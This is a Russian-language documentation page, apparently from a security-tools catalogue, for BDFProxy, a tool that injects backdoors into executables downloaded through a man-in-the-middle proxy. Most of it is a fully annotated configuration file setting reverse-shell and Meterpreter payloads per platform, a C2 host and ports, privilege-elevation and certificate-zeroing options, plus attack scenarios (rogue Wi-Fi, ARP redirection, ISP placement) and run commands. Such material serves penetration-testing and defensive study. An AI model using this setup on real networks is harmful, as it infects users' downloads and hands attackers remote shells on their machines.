BDFProxy

Описание BDFProxy

Этот скрипт заражает бэкдорами загружаемые исполнимые файлы во время осуществления атаки человек-посередине, он работает на основе двух библиотек: Backdoor Factory (BDF) и mitmProxy.

Домашняя страница: https://github.com/secretsquirrel/BDFProxy

Автор: Josh Pitts

Лицензия: BSD 3-Clause

Справка по BDFProxy

Справка отсутствует.

Сценарии атаки:

  • Злая ТД Wifi
  • Arp перенаправление
  • Физическое размещение в коммутационном шкафу
  • Логическое размещение на вашем любимом поставщике услуг Интернета

Руководство по BDFProxy

Страница man отсутствует.

Конфигурационный файл с комментариями:

[Overall]
proxyMode = regular  # Режимы: regular или None (для libmproxy < 13), socks5, transparent, reverse, upstream
MaxSizeFileRequested = 100000000 # при запросе клиентом большого файла отправит 502 (ошибка сервера)
certLocation = ~/.mitmproxy/mitmproxy-ca.pem
proxyPort = 8080
sslports = 443, 8443
loglevel = INFO
logname = proxy.log
resourceScriptFile = bdfproxy_msf_resource.rc


[hosts]
#белый список хостов/IP — патчить только их. 
#ALL — это означает все, используйте чёрный список для исключения конкретных хостов/IP

whitelist = ALL

#Хосты, которые никогда не патчатся, но пропускаются через прокси. Вы можете включить хост и ip, рекомендуется использовать и то, и другое.

blacklist = ,   # если не хотите использовать эту опцию, то напишите запятую, не оставляйте поле пустым


[keywords]
#Проверки выполняются по ключевым словам в пути url

whitelist = ALL

#Чёрный список исполнимых файлов, к которым вы совершенно не хотите притрагиваться

# Также применяется в сжатых файлах zip 

blacklist = .dll


[ZIP]
# patchCount — это максимальное число файлов для пропатчивания в файле zip
# После достижения максимального числа, остальные файлы будут пропущены 
# и отправлены в первоначальном виде

patchCount = 5

# В байтах
maxSize = 50000000

blacklist = .dll,  #не работать с dll в файле zip 

[TAR]
# patchCount — это максимальное число файлов для пропатчивания в файле tar
# После достижения максимального числа, остальные файлы будут пропущены 
# и отправлены в первоначальном виде

patchCount = 5

# В байтах
maxSize = 50000000

blacklist = ,   # если не хотите использовать эту опцию, то напишите запятую, не оставляйте поле пустым

[targets]
	#УБЕДИТЕСЬ, что ваши настройки для хоста и порта НЕ MAKE
	# перекрываются между различными типами полезной нагрузки
	
	[[ALL]] # для всех целей НАСТРОЙКИ ПО УМОЛЧАНИЮ являются ОБЯЗАТЕЛЬНЫМИ
	
	LinuxType = ALL 	# на выбор: x86/x64/ALL/None
	WindowsType = ALL 	# на выбор: x86/x64/ALL/None
	FatPriority = x64   # на выбор: x86 или x64
	
	FileSizeMax = 10000000  # ~10 MB (менее) Не патчить файлы, превышающие этот размер

	CompressedFiles = True #True/False

		[[[LinuxIntelx86]]]
		SHELL = reverse_shell_tcp   # Здесь BDF синтаксис
		HOST = 192.168.1.168 		# Это C2
		PORT = 8888
		SUPPLIED_SHELLCODE = None
        	# Запуск препроцессора True/False
        	PREPROCESS = False          
		MSFPAYLOAD = linux/x86/shell_reverse_tcp	# MSF синтаксис
		
		[[[LinuxIntelx64]]]
		SHELL = reverse_shell_tcp
		HOST = 192.168.1.16
		PORT = 9999
		SUPPLIED_SHELLCODE = None
        	# Запуск препроцессора True/False
        	PREPROCESS = False         
		MSFPAYLOAD = linux/x64/shell_reverse_tcp

		[[[WindowsIntelx86]]]
		PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
		# PATCH_METHOD перезаписывает PATCH_TYPE, используйте automatic, replace или onionduke
		PATCH_METHOD = automatic
		HOST = 192.168.1.16
		PORT = 8090
		# SHELL для использования с automatic PATCH_METHOD
		SHELL = iat_reverse_tcp_stager_threaded
		# SUPPLIED_SHELLCODE для использования с полезной нагрузкой user_supplied_shellcode 
		SUPPLIED_SHELLCODE = None
		ZERO_CERT = True
		# PATCH_DLL если они встречаются
		PATCH_DLL = False
		# RUNAS_ADMIN попытается пропатчить requestedExecutionLevel до highestAvailable
		RUNAS_ADMIN = True
		# XP_MODE  - для поддержки целей XP 
		XP_MODE = True
		# РАЗМЕСТИТЬ Import Directory Table в Cave, а не в новую секцию (Экспериментальная опция)
		IDT_IN_CAVE = False 
		# SUPPLIED_BINARY для использования с PATCH_METHOD 'onionduke' DLL/EXE могут быть x64 и
		#  с PATCH_METHOD 'replace' используйте EXE, а не DLL
		SUPPLIED_BINARY = veil_go_payload.exe
		# CODE_SIGN — для подписывания кода.  Вы должны настроить ваши собственные сертификаты, смотрите документацию по BDF для подробностей.
        	CODE_SIGN = False
        	# Запустить препроцессор True/False
        	PREPROCESS = False         
		MSFPAYLOAD = windows/meterpreter/reverse_tcp

		[[[WindowsIntelx64]]]
		PATCH_TYPE = APPEND #JUMP/SINGLE/APPEND
		# PATCH_METHOD перезаписывает PATCH_TYPE, используйте automatic или onionduke
		PATCH_METHOD = automatic
		HOST = 192.168.1.16
		PORT = 8088
		# SHELL для использования с automatic PATCH_METHOD
		SHELL = iat_reverse_tcp_stager_threaded
		# SUPPLIED_SHELLCODE для использования с полезнйо нагрузкой user_supplied_shellcode 
		SUPPLIED_SHELLCODE = None
		ZERO_CERT = True
		PATCH_DLL = True
		# РАЗМЕСТИТЬ Import Directory Table в Cave, а не в новую секцию (Экспериментальная опция)
		IDT_IN_CAVE = False
		# RUNAS_ADMIN попытается пропатчить requestedExecutionLevel до highestAvailable
		RUNAS_ADMIN = True
		# SUPPLIED_BINARY для использования с PATCH_METHOD onionduke DLL/EXE может быть x86 32bit и
		#  с PATCH_METHOD 'replace' используйте EXE, а не DLL
        	SUPPLIED_BINARY = pentest_x64_payload.exe
		# CODE_SIGN — для подписывания кода.  Вы должны настроить ваши собственные сертификаты, смотрите документацию по BDF для подробностей.
        	CODE_SIGN = False
        	# Запустить препроцессор True/False
        	PREPROCESS = False          
		MSFPAYLOAD = windows/x64/shell/reverse_tcp

		[[[MachoIntelx86]]]
		SHELL = reverse_shell_tcp
		HOST = 192.168.1.16
		PORT = 4444
		SUPPLIED_SHELLCODE = None
        	# Запустить препроцессор True/False
        	PREPROCESS = False         
		MSFPAYLOAD = linux/x64/shell_reverse_tcp

		[[[MachoIntelx64]]]
		SHELL = reverse_shell_tcp
		HOST = 192.168.1.16
		PORT = 5555
		SUPPLIED_SHELLCODE = None
        	# Запустить препроцессор True/False
        	PREPROCESS = False         
		MSFPAYLOAD = linux/x64/shell_reverse_tcp

	# Эти настройки для целей применяются только если они различаются с настройками из секции ALL
	# Эти настройки перезаписывают настройки из секции ALL 
	
	[[sysinternals.com]]
	LinuxType = None
	WindowsType = ALL
	CompressedFiles = False
	#наследует WindowsIntelx32 от ALL
		[[[WindowsIntelx86]]]
		PATCH_DLL = False
		ZERO_CERT = True

	[[sourceforge.org]]
	WindowsType = x64
	CompressedFiles = False

		[[[WindowsIntelx64]]]
		PATCH_DLL = False

		[[[WindowsIntelx86]]]
		PATCH_DLL = False

Примеры запуска BDFProxy

Необходимо начать с настройки файла bdfproxy.cfg. В Kali Linux этот файл размещён в /etc/bdfproxy/bdfproxy.cfg.

Перед запуском BDFProxy вам нужно вписать настройки хоста и порта вашего C2. НЕ делайте совпадающими настройки ПОРТА между двумя различными полезными нагрузками. Вы будуте отправлять шеллы linux на машины windows и всё время будете получать ошибку segfaulting. После запуска, будет создан скрипт ресурса metasploit для помощи с настройкой связи до C2. Внимательно проверьте его. Всё, что находиться за пределами секции [Overall] обновляется на лету, поэтому вам не нужно останавливать ваш прокси для изменения настроек работы вашей среды.

Затем:

sudo ./bdf_proxy.py

Или

sudo bdfproxy

Окно прокси будет быстро заполняться массивным количеством ссылок. Используйте

tail -f proxy.log

для просмотра того, что было пропатчено и заблокировано вашими настройками чёрного списка. При этом не упускайте из глаз главное окно прокси, если вы выбрали патчить исполнимые файлы вручную, всё происходит быстро при многопоточном обмене трафиком, но базовые запросы и ответы запираются для простоты обзора.

Установка BDFProxy

Установка в Kali Linux

sudo apt-get update
sudo apt-get install bdfproxy

Установка в BlackArch

Программа предустановлена в BlackArch.

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты BDFProxy

Это утилита командной строки.

Инструкции по BDFProxy

Ссылки на инструкции будут добавлены позже.

Близкие программы:

Рекомендуемые статьи: